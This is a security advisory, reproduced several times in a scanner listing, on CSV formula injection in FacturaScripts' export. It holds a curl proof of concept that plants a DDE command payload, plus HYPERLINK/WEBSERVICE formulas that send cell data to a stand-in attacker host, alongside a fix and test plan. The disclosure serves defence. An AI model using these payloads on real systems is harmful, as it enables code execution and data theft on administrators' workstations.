## Summary > **Live PoC verified 2026-04-30** against a stock FacturaScripts master at `127.0.0.1:8081`. A low-privilege user (`lowpriv`) created a customer with `nombre = "=SUM(1+1)*cmd|/c calc!A1"`. An admin then exported `ListCliente` to CSV via `?action=export&option=CSV`. The downloaded file contains the raw payload as the first cell of the `nombre` column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as `=cmd|'/c calc'!A1` that spawn arbitrary processes on the admin workstation. `Core/Lib/Export/CSVExport.php::writeData()` wraps every cell in the configured delimiter (`"`) and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with `=`, `+`, `-`, `@`, `\t`, or `\r` as a formula. Because FacturaScripts only sanitises HTML metacharacters (`< > " '`) on save via `Tools::noHtml()` (`Core/Tools.php:45`), the formula prefix characters survive untouched all the way to the export. The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin's spreadsheet client runs the formula in the admin's local context. ## Details ### the export does not neutralise leading meta-characters `Core/Lib/Export/CSVExport.php:253-267`: ```php public function writeData(array $data, array $fields = []) { if (!empty($fields)) { $this->writeHeader($fields); } foreach ($data as $row) { $line = []; foreach ($row as $cell) { $line[] = is_string($cell) ? $this->getDelimiter() . $cell . $this->getDelimiter() : $cell; } $this->csv[] = implode($this->separator, $line); } } ``` A string cell is rendered as `"<value>"`. There is no `str_starts_with(...)` check for the formula trigger characters (`= + - @ \t \r` per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as "force as text". The same writer is reused for every list and document export through `addListModelPage()`, `addModelPage()`, `addBusinessDocPage()`, and `addTablePage()`. ### the upstream sanitiser only scrubs HTML, not formulas `Core/Tools.php:45-46`: ```php const HTML_CHARS = ['<', '>', '"', "'"]; const HTML_REPLACEMENTS = ['<', '>', '"', ''']; ``` `Tools::noHtml()` is the canonical input filter that models call from their `test()` method (e.g. `Cliente::test()` at `Core/Model/Cliente.php:319-321`). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the `=`, `+`, `-`, `@` characters reach storage verbatim and the export pipeline emits them verbatim. ### the export controller hands the payload back to whoever triggers it `Core/Lib/Export/CSVExport.php:240-245`: ```php public function show(Response &$response) { $response->headers->set('Content-Type', 'text/csv; charset=utf-8'); $response->headers->set('Content-Disposition', 'attachment; filename=' . $this->getFileName() . '.csv'); $response->setContent($this->getDoc()); } ``` `Content-Disposition: attachment` plus an `.csv` extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin's machine with the admin's privileges, in a security context entirely outside the FacturaScripts blast radius. ### default permission model exposes the data ingestion A user role only needs `Update`/`Insert` access to one of the default exportable models (`Cliente`, `Proveedor`, `Producto`, `Variante`, `Contacto`, etc.) to plant a payload. The admin export surface is reachable on the same controllers via `?action=export&option=CSV`. There is no separate confirmation step that warns the admin the export contains untrusted content. ## PoC ```bash # 0. Setup: create a low-privilege user with role granting access to ListCliente/EditCliente. # (script in advisory environment, see also the prompt's helper). # 1. Log in as the low-privilege user and obtain a CSRF token. TOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://127.0.0.1:8081/login' \ | grep -oP 'name="multireqtoken" value="\K[^"]+' | head -1) curl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \ --data-urlencode "fsNick=lowpriv" \ --data-urlencode "fsPassword=lowpriv1234" \ --data-urlencode "multireqtoken=$TOKEN" \ --data-urlencode "action=login" \ http://127.0.0.1:8081/login -o /dev/null # 2. Get a fresh CSRF token for the EditCliente form. TOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \ | grep -oP 'multireqtoken" value="\K[^"]+' | head -1) # 3. Plant a Dynamic Data Exchange payload as the customer name. curl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \ --data-urlencode "multireqtoken=$TOKEN" \ --data-urlencode "action=insert" \ --data-urlencode 'nombre==SUM(1+1)*cmd|/c calc!A1' \ --data-urlencode "cifnif=11111111H" \ -o /dev/null # 4. As any admin, trigger the standard list-customers CSV export. curl -s -b /tmp/fs-cookie2 \ 'http://127.0.0.1:8081/ListCliente?action=export&option=CSV' \ -o /tmp/export.csv # 5. Confirm the formula payload survives unsanitised. grep -F '=SUM(1+1)*cmd|/c calc!A1' /tmp/export.csv # Output (verified): # "11111111H";"";"1";"";...;"=SUM(1+1)*cmd|/c calc!A1";"";"";"";"=SUM(1+1)*cmd|/c calc!A1";... ``` Opening `/tmp/export.csv` in Microsoft Excel triggers the Dynamic Data Exchange dialog, which on a default-trusted document or after a single user click runs `cmd /c calc`. LibreOffice Calc evaluates `=SUM(1+1)*cmd|/c calc!A1` and produces the same DDE attempt. The admin sees nothing in the FacturaScripts UI to indicate that a CSV row contained a formula. ## Impact * **Code execution on admin workstations.** The DDE/HYPERLINK payload runs in the admin's spreadsheet client outside any container, with the admin OS user's privileges. Beachhead for full host takeover. * **Credential theft.** Common variants (`=HYPERLINK("https://attacker/?p=" & A1, "Click")`, `=WEBSERVICE("https://attacker/?p=" & A1)`) exfiltrate adjacent cell values (customer names, fiscal IDs, balances) when the admin clicks the cell. * **Trust laundering.** Because the file came from "our own ERP" the admin has no reason to suspect the attachment, defeating the "do not run untrusted spreadsheets" hygiene that would otherwise apply. * **Trivial preconditions.** Any user role that can create or update a customer / supplier / product / contact (the bulk of accounting and sales staff) can stage the payload. The admin export action is unchanged from default and ships in the install. `AV:N` (the attacker only needs an authenticated browser session), `AC:L` (single POST), `PR:L` (low-privilege role), `UI:R` (admin must download and open the CSV, but this is the standard accounting workflow), `S:U` (impact contained to FacturaScripts data + admin host), `C:H I:H A:H` (full read/write/execute on the admin workstation once the DDE/macro fires). Score `6.3`. ## Recommended Fix Neutralise formula leaders at write time inside `CSVExport::writeData()` so the export pipeline itself enforces the protection regardless of upstream sanitisation. ```php private const FORMULA_TRIGGERS = ['=', '+', '-', '@', "\t", "\r"]; public function writeData(array $data, array $fields = []) { if (!empty($fields)) { $this->writeHeader($fields); } foreach ($data as $row) { $line = []; foreach ($row as $cell) { if (is_string($cell) && $cell !== '' && in_array($cell[0], self::FORMULA_TRIGGERS, true)) { $cell = "'" . $cell; // force-as-text per OWASP CSV-injection prevention } $line[] = is_string($cell) ? $this->getDelimiter() . str_replace($this->getDelimiter(), $this->getDelimiter() . $this->getDelimiter(), $cell) . $this->getDelimiter() : $cell; } $this->csv[] = implode($this->separator, $line); } } ``` Apply the same neutralisation in `writeHeader()`, in `XLSExport::getCursorRawData()` (lines 226-236 - the `Tools::fixHtml` helper does not address formulas), and in any other future exporter that emits spreadsheet-loadable formats. A regression test should: 1. Insert a customer with `nombre = '=SUM(1+1)'`. 2. Render the list to CSV via `CSVExport->writeData()`. 3. Assert the resulting line begins with `"'=SUM(1+1)"`, not `"=SUM(1+1)"`. 4. Assert `nombre` containing an embedded delimiter (`a"b`) is correctly doubled to `"a""b"`. Defence in depth: emit `Content-Type: text/csv; charset=utf-8` plus a `Content-Disposition` filename that the operator's MUA/browser cannot trivially confuse for a trusted XLSX (e.g. always `*.csv`, never `*.xls` or `*.xlsx`), and document in `SECURITY.md` that exports must be opened with the spreadsheet's "Import Text" / "From Text/CSV" wizard until the application is upgraded.
## Summary > **Live PoC verified 2026-04-30** against a stock FacturaScripts master at `127.0.0.1:8081`. A low-privilege user (`lowpriv`) created a customer with `nombre = "=SUM(1+1)*cmd|/c calc!A1"`. An admin then exported `ListCliente` to CSV via `?action=export&option=CSV`. The downloaded file contains the raw payload as the first cell of the `nombre` column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as `=cmd|'/c calc'!A1` that spawn arbitrary processes on the admin workstation. `Core/Lib/Export/CSVExport.php::writeData()` wraps every cell in the configured delimiter (`"`) and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with `=`, `+`, `-`, `@`, `\t`, or `\r` as a formula. Because FacturaScripts only sanitises HTML metacharacters (`< > " '`) on save via `Tools::noHtml()` (`Core/Tools.php:45`), the formula prefix characters survive untouched all the way to the export. The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin's spreadsheet client runs the formula in the admin's local context. ## Details ### the export does not neutralise leading meta-characters `Core/Lib/Export/CSVExport.php:253-267`: ```php public function writeData(array $data, array $fields = []) { if (!empty($fields)) { $this->writeHeader($fields); } foreach ($data as $row) { $line = []; foreach ($row as $cell) { $line[] = is_string($cell) ? $this->getDelimiter() . $cell . $this->getDelimiter() : $cell; } $this->csv[] = implode($this->separator, $line); } } ``` A string cell is rendered as `"<value>"`. There is no `str_starts_with(...)` check for the formula trigger characters (`= + - @ \t \r` per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as "force as text". The same writer is reused for every list and document export through `addListModelPage()`, `addModelPage()`, `addBusinessDocPage()`, and `addTablePage()`. ### the upstream sanitiser only scrubs HTML, not formulas `Core/Tools.php:45-46`: ```php const HTML_CHARS = ['<', '>', '"', "'"]; const HTML_REPLACEMENTS = ['<', '>', '"', ''']; ``` `Tools::noHtml()` is the canonical input filter that models call from their `test()` method (e.g. `Cliente::test()` at `Core/Model/Cliente.php:319-321`). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the `=`, `+`, `-`, `@` characters reach storage verbatim and the export pipeline emits them verbatim. ### the export controller hands the payload back to whoever triggers it `Core/Lib/Export/CSVExport.php:240-245`: ```php public function show(Response &$response) { $response->headers->set('Content-Type', 'text/csv; charset=utf-8'); $response->headers->set('Content-Disposition', 'attachment; filename=' . $this->getFileName() . '.csv'); $response->setContent($this->getDoc()); } ``` `Content-Disposition: attachment` plus an `.csv` extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin's machine with the admin's privileges, in a security context entirely outside the FacturaScripts blast radius. ### default permission model exposes the data ingestion A user role only needs `Update`/`Insert` access to one of the default exportable models (`Cliente`, `Proveedor`, `Producto`, `Variante`, `Contacto`, etc.) to plant a payload. The admin export surface is reachable on the same controllers via `?action=export&option=CSV`. There is no separate confirmation step that warns the admin the export contains untrusted content. ## PoC ```bash # 0. Setup: create a low-privilege user with role granting access to ListCliente/EditCliente. # (script in advisory environment, see also the prompt's helper). # 1. Log in as the low-privilege user and obtain a CSRF token. TOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://127.0.0.1:8081/login' \ | grep -oP 'name="multireqtoken" value="\K[^"]+' | head -1) curl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \ --data-urlencode "fsNick=lowpriv" \ --data-urlencode "fsPassword=lowpriv1234" \ --data-urlencode "multireqtoken=$TOKEN" \ --data-urlencode "action=login" \ http://127.0.0.1:8081/login -o /dev/null # 2. Get a fresh CSRF token for the EditCliente form. TOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \ | grep -oP 'multireqtoken" value="\K[^"]+' | head -1) # 3. Plant a Dynamic Data Exchange payload as the customer name. curl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \ --data-urlencode "multireqtoken=$TOKEN" \ --data-urlencode "action=insert" \ --data-urlencode 'nombre==SUM(1+1)*cmd|/c calc!A1' \ --data-urlencode "cifnif=11111111H" \ -o /dev/null # 4. As any admin, trigger the standard list-customers CSV export. curl -s -b /tmp/fs-cookie2 \ 'http://127.0.0.1:8081/ListCliente?action=export&option=CSV' \ -o /tmp/export.csv # 5. Confirm the formula payload survives unsanitised. grep -F '=SUM(1+1)*cmd|/c calc!A1' /tmp/export.csv # Output (verified): # "11111111H";"";"1";"";...;"=SUM(1+1)*cmd|/c calc!A1";"";"";"";"=SUM(1+1)*cmd|/c calc!A1";... ``` Opening `/tmp/export.csv` in Microsoft Excel triggers the Dynamic Data Exchange dialog, which on a default-trusted document or after a single user click runs `cmd /c calc`. LibreOffice Calc evaluates `=SUM(1+1)*cmd|/c calc!A1` and produces the same DDE attempt. The admin sees nothing in the FacturaScripts UI to indicate that a CSV row contained a formula. ## Impact * **Code execution on admin workstations.** The DDE/HYPERLINK payload runs in the admin's spreadsheet client outside any container, with the admin OS user's privileges. Beachhead for full host takeover. * **Credential theft.** Common variants (`=HYPERLINK("https://attacker/?p=" & A1, "Click")`, `=WEBSERVICE("https://attacker/?p=" & A1)`) exfiltrate adjacent cell values (customer names, fiscal IDs, balances) when the admin clicks the cell. * **Trust laundering.** Because the file came from "our own ERP" the admin has no reason to suspect the attachment, defeating the "do not run untrusted spreadsheets" hygiene that would otherwise apply. * **Trivial preconditions.** Any user role that can create or update a customer / supplier / product / contact (the bulk of accounting and sales staff) can stage the payload. The admin export action is unchanged from default and ships in the install. `AV:N` (the attacker only needs an authenticated browser session), `AC:L` (single POST), `PR:L` (low-privilege role), `UI:R` (admin must download and open the CSV, but this is the standard accounting workflow), `S:U` (impact contained to FacturaScripts data + admin host), `C:H I:H A:H` (full read/write/execute on the admin workstation once the DDE/macro fires). Score `6.3`. ## Recommended Fix Neutralise formula leaders at write time inside `CSVExport::writeData()` so the export pipeline itself enforces the protection regardless of upstream sanitisation. ```php private const FORMULA_TRIGGERS = ['=', '+', '-', '@', "\t", "\r"]; public function writeData(array $data, array $fields = []) { if (!empty($fields)) { $this->writeHeader($fields); } foreach ($data as $row) { $line = []; foreach ($row as $cell) { if (is_string($cell) && $cell !== '' && in_array($cell[0], self::FORMULA_TRIGGERS, true)) { $cell = "'" . $cell; // force-as-text per OWASP CSV-injection prevention } $line[] = is_string($cell) ? $this->getDelimiter() . str_replace($this->getDelimiter(), $this->getDelimiter() . $this->getDelimiter(), $cell) . $this->getDelimiter() : $cell; } $this->csv[] = implode($this->separator, $line); } } ``` Apply the same neutralisation in `writeHeader()`, in `XLSExport::getCursorRawData()` (lines 226-236 - the `Tools::fixHtml` helper does not address formulas), and in any other future exporter that emits spreadsheet-loadable formats. A regression test should: 1. Insert a customer with `nombre = '=SUM(1+1)'`. 2. Render the list to CSV via `CSVExport->writeData()`. 3. Assert the resulting line begins with `"'=SUM(1+1)"`, not `"=SUM(1+1)"`. 4. Assert `nombre` containing an embedded delimiter (`a"b`) is correctly doubled to `"a""b"`. Defence in depth: emit `Content-Type: text/csv; charset=utf-8` plus a `Content-Disposition` filename that the operator's MUA/browser cannot trivially confuse for a trusted XLSX (e.g. always `*.csv`, never `*.xls` or `*.xlsx`), and document in `SECURITY.md` that exports must be opened with the spreadsheet's "Import Text" / "From Text/CSV" wizard until the application is upgraded.
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hol-guard supply-chain scanFacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export affects facturascripts/facturascripts (composer). Severity is high. ## Summary > **Live PoC verified 2026-04-30** against a stock FacturaScripts master at `127.0.0.1:8081`. A low-privilege user (`lowpriv`) created a customer with `nombre = "=SUM(1+1)*cmd|/c calc!A1"`. An admin then exported `ListCliente` to CSV via `?action=export&option=CSV`. The downloaded file contains the raw payload as the first cell of the `nombre` column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as `=cmd|'/c calc'!A1` that spawn arbitrary processes on the admin workstation. `Core/Lib/Export/CSVExport.php::writeData()` wraps every cell in the configured delimiter (`"`) and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with `=`, `+`, `-`, `@`, `\t`, or `\r` as a formula. Because FacturaScripts only sanitises HTML metacharacters (`< > " '`) on save via `Tools::noHtml()` (`Core/Tools.php:45`), the formula prefix characters survive untouched all the way to the export. The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin's spreadsheet client runs the formula in the admin's local context. ## Details ### the export does not neutralise leading meta-characters `Core/Lib/Export/CSVExport.php:253-267`: ```php public function writeData(array $data, array $fields = []) { if (!empty($fields)) { $this->writeHeader($fields); } foreach ($data as $row) { $line = []; foreach ($row as $cell) { $line[] = is_string($cell) ? $this->getDelimiter() . $cell . $this->getDelimiter() : $cell; } $this->csv[] = implode($this->separator, $line); } } ``` A string cell is rendered as `"<value>"`. There is no `str_starts_with(...)` check for the formula trigger characters (`= + - @ \t \r` per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as "force as text". The same writer is reused for every list and document export through `addListModelPage()`, `addModelPage()`, `addBusinessDocPage()`, and `addTablePage()`. ### the upstream sanitiser only scrubs HTML, not formulas `Core/Tools.php:45-46`: ```php const HTML_CHARS = ['<', '>', '"', "'"]; const HTML_REPLACEMENTS = ['<', '>', '"', ''']; ``` `Tools::noHtml()` is the canonical input filter that models call from their `test()` method (e.g. `Cliente::test()` at `Core/Model/Cliente.php:319-321`). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the `=`, `+`, `-`, `@` characters reach storage verbatim and the export pipeline emits them verbatim. ### the export controller hands the payload back to whoever triggers it `Core/Lib/Export/CSVExport.php:240-245`: ```php public function show(Response &$response) { $response->headers->set('Content-Type', 'text/csv; charset=utf-8'); $response->headers->set('Content-Disposition', 'attachment; filename=' . $this->getFileName() . '.csv'); $response->setContent($this->getDoc()); } ``` `Content-Disposition: attachment` plus an `.csv` extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin's machine with the admin's privileges, in a security context entirely outside the FacturaScripts blast radius. ### default permission model exposes the data ingestion A user role only needs `Update`/`Insert` access to one of the default exportable models (`Cliente`, `Proveedor`, `Producto`, `Variante`, `Contacto`, etc.) to plant a payload. The admin export surface is reachable on the same controllers via `?action=export&option=CSV`. There is no separate confirmation step that warns the admin the export contains untrusted content. ## PoC ```bash # 0. Setup: create a low-privilege user with role granting access to ListCliente/EditCliente. # (script in advisory environment, see also the prompt's helper). # 1. Log in as the low-privilege user and obtain a CSRF token. TOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://127.0.0.1:8081/login' \ | grep -oP 'name="multireqtoken" value="\K[^"]+' | head -1) curl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \ --data-urlencode "fsNick=lowpriv" \ --data-urlencode "fsPassword=lowpriv1234" \ --data-urlencode "multireqtoken=$TOKEN" \ --data-urlencode "action=login" \ http://127.0.0.1:8081/login -o /dev/null # 2. Get a fresh CSRF token for the EditCliente form. TOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \ | grep -oP 'multireqtoken" value="\K[^"]+' | head -1) # 3. Plant a Dynamic Data Exchange payload as the customer name. curl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \ --data-urlencode "multireqtoken=$TOKEN" \ --data-urlencode "action=insert" \ --data-urlencode 'nombre==SUM(1+1)*cmd|/c calc!A1' \ --data-urlencode "cifnif=11111111H" \ -o /dev/null # 4. As any admin, trigger the standard list-customers CSV export. curl -s -b /tmp/fs-cookie2 \ 'http://127.0.0.1:8081/ListCliente?action=export&option=CSV' \ -o /tmp/export.csv # 5. Confirm the formula payload survives unsanitised. grep -F '=SUM(1+1)*cmd|/c calc!A1' /tmp/export.csv # Output (verified): # "11111111H";"";"1";"";...;"=SUM(1+1)*cmd|/c calc!A1";"";"";"";"=SUM(1+1)*cmd|/c calc!A1";... ``` Opening `/tmp/export.csv` in Microsoft Excel triggers the Dynamic Data Exchange dialog, which on a default-trusted document or after a single user click runs `cmd /c calc`. LibreOffice Calc evaluates `=SUM(1+1)*cmd|/c calc!A1` and produces the same DDE attempt. The admin sees nothing in the FacturaScripts UI to indicate that a CSV row contained a formula. ## Impact * **Code execution on admin workstations.** The DDE/HYPERLINK payload runs in the admin's spreadsheet client outside any container, with the admin OS user's privileges. Beachhead for full host takeover. * **Credential theft.** Common variants (`=HYPERLINK("https://attacker/?p=" & A1, "Click")`, `=WEBSERVICE("https://attacker/?p=" & A1)`) exfiltrate adjacent cell values (customer names, fiscal IDs, balances) when the admin clicks the cell. * **Trust laundering.** Because the file came from "our own ERP" the admin has no reason to suspect the attachment, defeating the "do not run untrusted spreadsheets" hygiene that would otherwise apply. * **Trivial preconditions.** Any user role that can create or update a customer / supplier / product / contact (the bulk of accounting and sales staff) can stage the payload. The admin export action is unchanged from default and ships in the install. `AV:N` (the attacker only needs an authenticated browser session), `AC:L` (single POST), `PR:L` (low-privilege role), `UI:R` (admin must download and open the CSV, but this is the standard accounting workflow), `S:U` (impact contained to FacturaScripts data + admin host), `C:H I:H A:H` (full read/write/execute on the admin workstation once the DDE/macro fires). Score `6.3`. ## Recommended Fix Neutralise formula leaders at write time inside `CSVExport::writeData()` so the export pipeline itself enforces the protection regardless of upstream sanitisation. ```php private const FORMULA_TRIGGERS = ['=', '+', '-', '@', "\t", "\r"]; public function writeData(array $data, array $fields = []) { if (!empty($fields)) { $this->writeHeader($fields); } foreach ($data as $row) { $line = []; foreach ($row as $cell) { if (is_string($cell) && $cell !== '' && in_array($cell[0], self::FORMULA_TRIGGERS, true)) { $cell = "'" . $cell; // force-as-text per OWASP CSV-injection prevention } $line[] = is_string($cell) ? $this->getDelimiter() . str_replace($this->getDelimiter(), $this->getDelimiter() . $this->getDelimiter(), $cell) . $this->getDelimiter() : $cell; } $this->csv[] = implode($this->separator, $line); } } ``` Apply the same neutralisation in `writeHeader()`, in `XLSExport::getCursorRawData()` (lines 226-236 - the `Tools::fixHtml` helper does not address formulas), and in any other future exporter that emits spreadsheet-loadable formats. A regression test should: 1. Insert a customer with `nombre = '=SUM(1+1)'`. 2. Render the list to CSV via `CSVExport->writeData()`. 3. Assert the resulting line begins with `"'=SUM(1+1)"`, not `"=SUM(1+1)"`. 4. Assert `nombre` containing an embedded delimiter (`a"b`) is correctly doubled to `"a""b"`. Defence in depth: emit `Content-Type: text/csv; charset=utf-8` plus a `Content-Disposition` filename that the operator's MUA/browser cannot trivially confuse for a trusted XLSX (e.g. always `*.csv`, never `*.xls` or `*.xlsx`), and document in `SECURITY.md` that exports must be opened with the spreadsheet's "Import Text" / "From Text/CSV" wizard until the application is upgraded.
AI coding agents often install or upgrade packages automatically in composer. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| facturascripts/facturascriptscomposer | <=2026.1 | Not reported |
Reported by GitHub Security Advisories (ghsa).
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hol-guard supply-chain scanFacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export affects facturascripts/facturascripts (composer). Severity is high. ## Summary > **Live PoC verified 2026-04-30** against a stock FacturaScripts master at `127.0.0.1:8081`. A low-privilege user (`lowpriv`) created a customer with `nombre = "=SUM(1+1)*cmd|/c calc!A1"`. An admin then exported `ListCliente` to CSV via `?action=export&option=CSV`. The downloaded file contains the raw payload as the first cell of the `nombre` column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as `=cmd|'/c calc'!A1` that spawn arbitrary processes on the admin workstation. `Core/Lib/Export/CSVExport.php::writeData()` wraps every cell in the configured delimiter (`"`) and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with `=`, `+`, `-`, `@`, `\t`, or `\r` as a formula. Because FacturaScripts only sanitises HTML metacharacters (`< > " '`) on save via `Tools::noHtml()` (`Core/Tools.php:45`), the formula prefix characters survive untouched all the way to the export. The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin's spreadsheet client runs the formula in the admin's local context. ## Details ### the export does not neutralise leading meta-characters `Core/Lib/Export/CSVExport.php:253-267`: ```php public function writeData(array $data, array $fields = []) { if (!empty($fields)) { $this->writeHeader($fields); } foreach ($data as $row) { $line = []; foreach ($row as $cell) { $line[] = is_string($cell) ? $this->getDelimiter() . $cell . $this->getDelimiter() : $cell; } $this->csv[] = implode($this->separator, $line); } } ``` A string cell is rendered as `"<value>"`. There is no `str_starts_with(...)` check for the formula trigger characters (`= + - @ \t \r` per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as "force as text". The same writer is reused for every list and document export through `addListModelPage()`, `addModelPage()`, `addBusinessDocPage()`, and `addTablePage()`. ### the upstream sanitiser only scrubs HTML, not formulas `Core/Tools.php:45-46`: ```php const HTML_CHARS = ['<', '>', '"', "'"]; const HTML_REPLACEMENTS = ['<', '>', '"', ''']; ``` `Tools::noHtml()` is the canonical input filter that models call from their `test()` method (e.g. `Cliente::test()` at `Core/Model/Cliente.php:319-321`). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the `=`, `+`, `-`, `@` characters reach storage verbatim and the export pipeline emits them verbatim. ### the export controller hands the payload back to whoever triggers it `Core/Lib/Export/CSVExport.php:240-245`: ```php public function show(Response &$response) { $response->headers->set('Content-Type', 'text/csv; charset=utf-8'); $response->headers->set('Content-Disposition', 'attachment; filename=' . $this->getFileName() . '.csv'); $response->setContent($this->getDoc()); } ``` `Content-Disposition: attachment` plus an `.csv` extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin's machine with the admin's privileges, in a security context entirely outside the FacturaScripts blast radius. ### default permission model exposes the data ingestion A user role only needs `Update`/`Insert` access to one of the default exportable models (`Cliente`, `Proveedor`, `Producto`, `Variante`, `Contacto`, etc.) to plant a payload. The admin export surface is reachable on the same controllers via `?action=export&option=CSV`. There is no separate confirmation step that warns the admin the export contains untrusted content. ## PoC ```bash # 0. Setup: create a low-privilege user with role granting access to ListCliente/EditCliente. # (script in advisory environment, see also the prompt's helper). # 1. Log in as the low-privilege user and obtain a CSRF token. TOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://127.0.0.1:8081/login' \ | grep -oP 'name="multireqtoken" value="\K[^"]+' | head -1) curl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \ --data-urlencode "fsNick=lowpriv" \ --data-urlencode "fsPassword=lowpriv1234" \ --data-urlencode "multireqtoken=$TOKEN" \ --data-urlencode "action=login" \ http://127.0.0.1:8081/login -o /dev/null # 2. Get a fresh CSRF token for the EditCliente form. TOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \ | grep -oP 'multireqtoken" value="\K[^"]+' | head -1) # 3. Plant a Dynamic Data Exchange payload as the customer name. curl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \ --data-urlencode "multireqtoken=$TOKEN" \ --data-urlencode "action=insert" \ --data-urlencode 'nombre==SUM(1+1)*cmd|/c calc!A1' \ --data-urlencode "cifnif=11111111H" \ -o /dev/null # 4. As any admin, trigger the standard list-customers CSV export. curl -s -b /tmp/fs-cookie2 \ 'http://127.0.0.1:8081/ListCliente?action=export&option=CSV' \ -o /tmp/export.csv # 5. Confirm the formula payload survives unsanitised. grep -F '=SUM(1+1)*cmd|/c calc!A1' /tmp/export.csv # Output (verified): # "11111111H";"";"1";"";...;"=SUM(1+1)*cmd|/c calc!A1";"";"";"";"=SUM(1+1)*cmd|/c calc!A1";... ``` Opening `/tmp/export.csv` in Microsoft Excel triggers the Dynamic Data Exchange dialog, which on a default-trusted document or after a single user click runs `cmd /c calc`. LibreOffice Calc evaluates `=SUM(1+1)*cmd|/c calc!A1` and produces the same DDE attempt. The admin sees nothing in the FacturaScripts UI to indicate that a CSV row contained a formula. ## Impact * **Code execution on admin workstations.** The DDE/HYPERLINK payload runs in the admin's spreadsheet client outside any container, with the admin OS user's privileges. Beachhead for full host takeover. * **Credential theft.** Common variants (`=HYPERLINK("https://attacker/?p=" & A1, "Click")`, `=WEBSERVICE("https://attacker/?p=" & A1)`) exfiltrate adjacent cell values (customer names, fiscal IDs, balances) when the admin clicks the cell. * **Trust laundering.** Because the file came from "our own ERP" the admin has no reason to suspect the attachment, defeating the "do not run untrusted spreadsheets" hygiene that would otherwise apply. * **Trivial preconditions.** Any user role that can create or update a customer / supplier / product / contact (the bulk of accounting and sales staff) can stage the payload. The admin export action is unchanged from default and ships in the install. `AV:N` (the attacker only needs an authenticated browser session), `AC:L` (single POST), `PR:L` (low-privilege role), `UI:R` (admin must download and open the CSV, but this is the standard accounting workflow), `S:U` (impact contained to FacturaScripts data + admin host), `C:H I:H A:H` (full read/write/execute on the admin workstation once the DDE/macro fires). Score `6.3`. ## Recommended Fix Neutralise formula leaders at write time inside `CSVExport::writeData()` so the export pipeline itself enforces the protection regardless of upstream sanitisation. ```php private const FORMULA_TRIGGERS = ['=', '+', '-', '@', "\t", "\r"]; public function writeData(array $data, array $fields = []) { if (!empty($fields)) { $this->writeHeader($fields); } foreach ($data as $row) { $line = []; foreach ($row as $cell) { if (is_string($cell) && $cell !== '' && in_array($cell[0], self::FORMULA_TRIGGERS, true)) { $cell = "'" . $cell; // force-as-text per OWASP CSV-injection prevention } $line[] = is_string($cell) ? $this->getDelimiter() . str_replace($this->getDelimiter(), $this->getDelimiter() . $this->getDelimiter(), $cell) . $this->getDelimiter() : $cell; } $this->csv[] = implode($this->separator, $line); } } ``` Apply the same neutralisation in `writeHeader()`, in `XLSExport::getCursorRawData()` (lines 226-236 - the `Tools::fixHtml` helper does not address formulas), and in any other future exporter that emits spreadsheet-loadable formats. A regression test should: 1. Insert a customer with `nombre = '=SUM(1+1)'`. 2. Render the list to CSV via `CSVExport->writeData()`. 3. Assert the resulting line begins with `"'=SUM(1+1)"`, not `"=SUM(1+1)"`. 4. Assert `nombre` containing 